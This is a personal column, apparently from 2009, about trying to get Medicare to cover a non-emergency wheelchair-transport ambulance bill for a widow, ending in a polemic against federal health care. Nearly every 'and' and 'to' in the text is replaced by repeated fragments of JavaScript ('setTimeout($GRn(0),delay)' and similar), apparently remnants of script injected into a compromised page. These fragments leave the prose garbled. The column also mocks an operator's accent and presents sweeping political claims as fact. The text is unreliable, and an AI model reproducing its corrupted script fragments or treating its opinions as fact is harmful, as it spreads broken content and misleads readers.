I was helping a widow when I had a question for Medicare. Getting an answer was an adventure. Here is my adventure.
The widow’s husbdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was transported by an ambulance service from a hospital in Indiana dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a hospice in Indiana before he passed away.
The widow got a bill for this service. I checked dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and learned that the deceased husbdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and’s Medicare supplement insurance company never got a claim from Medicare for the ambulance service. The insurance company was willing dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay on the claim if Medicare approved it.
A few months ago, I wrote a letter dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the ambulance company requesting that it file the claim with Medicare. The ambulance company never responded except dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to send another bill dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the widow. I phoned the ambulance company dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and asked why it had not filed a claim with Medicare. The representative said that it never files a claim when the service is just “wheel chair transport” because Medicare won’t pay for that.
I phoned Medicare’s Coordinadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of Benefits dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ask if the ambulance company’s claim was true. First, I got a recording of Mike that dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me that he would not take calls directly dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that everyone who wanted dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to talk dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to him had dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to first talk dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Charlene. Then, I got a recording that Charlene would not answer her phone dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that I should leave a message. So, after leaving a message for Charlene, I phoned again dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was directed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Marlene, but Marlene said that she was absent from the office dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that I should leave a message or dial the operadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor. I dialed the operadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and waited a long time. Finally, an operadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor who did not speak English well answered. Her accent was so thick that trying dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to talk dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her was frustrating. But, I did get directed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Cathy who did help me. She checked on my question dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and phoned me a bit later with an answer.
Well, it was an answer of sorts. If the ambulance ride is not an emergency, then Medicare will not usually pay for it. But, the federal government’s “Medicare And You” hdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andbook has some “doublespeak” in it about how Medicare might cover it if a docdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor’s notes justify a medical need for the wheel chair transport ride.
The Medicare bureaucrat with whom I spoke was nice dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and helpful. But, I had dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to respond dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this information by saying, ”So, Medicare will pay on the hospital charges dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the nursing home or hospice charges, but not on the wheel chair transport that gets the patient from one place dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another? Why? Does Medicare want the little wife of the man dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to throw him in the back of a pickup truck dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get him from one point dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another? How is the sick man’s little wife going dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to throw him dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the wheel chair in the back of the truck?” I didn’t get an answer.
To me, this rule of Medicare is absolutely ridiculous. But, all this does help me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make an important point. Don’t trust the federal government dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to run the nation’s health care system in a rationally human way. The federal government dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and its bureaucracy only pretend dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help the people dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to justify their paychecks. All the rules dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and regulations get stacked against the people dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and for the federal government dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save money for itself by shifting costs back ondom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the public which it pretends dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve.
Well, now I know dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell the widow that the ambulance bill is hers dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that Medicare won’t help her dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay for it. Case closed.
Note: Woodrow Wilcox is the senior medical bill problem solver at Senior Care Insurance Services in Merrillville, Indiana. That is one of the largest senior citizen oriented insurance agencies in the Midwest.
© 2009 Woodrow Wilcox